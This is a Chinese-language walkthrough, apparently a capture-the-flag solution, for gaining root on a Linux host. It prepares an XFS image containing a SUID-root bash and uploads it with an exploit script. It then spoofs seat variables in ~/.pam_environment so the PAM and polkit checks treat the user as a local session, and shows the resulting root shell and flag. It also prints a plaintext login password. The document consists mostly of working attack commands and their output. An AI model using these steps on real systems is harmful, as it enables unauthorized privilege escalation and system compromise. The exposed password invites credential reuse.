# 创建 300MB XFS 镜像
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image
# 挂载并安装 SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt
# 验证(应该显示 300M)
ls -lh xfs.image
# 上传利用脚本和镜像
scp exp.sh [email protected]:~/
scp xfs.image [email protected]:~/
密码: !QAZ2wsx
# SSH 登录目标
ssh [email protected]
# 写入 PAM 环境变量
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF
# 验证配置
cat ~/.pam_environment
# 🔥 关键:退出登录(让 PAM 配置生效)
exit
# 重新 SSH 登录(PAM 配置现在生效)
ssh [email protected]
# 验证 PAM 是否生效(应该返回 "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# 执行提权脚本
bash exp.sh
如果利用成功,你应该看到:
✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ Root access confirmed!
════════════════════════════════════════════════════════════
║ ROOT FLAG ║
║ <flag_here> ║
════════════════════════════════════════════════════════════
bash-5.2# whoami
root
| 问题 | 解决方法 |
|---|---|
CanReboot 返回 ('no',) | 确保已退出并重新登录(步骤 3) |
Not authorized 错误 | 检查 ~/.pam_environment 内容是否正确 |
| SUID bash 未找到 | 重新上传 xfs.image 并确保 SUID 位已设置 |
('yes',)ssh -t user@host "cmd" 方式如果失败,请检查每个步骤是否严格按顺序执行!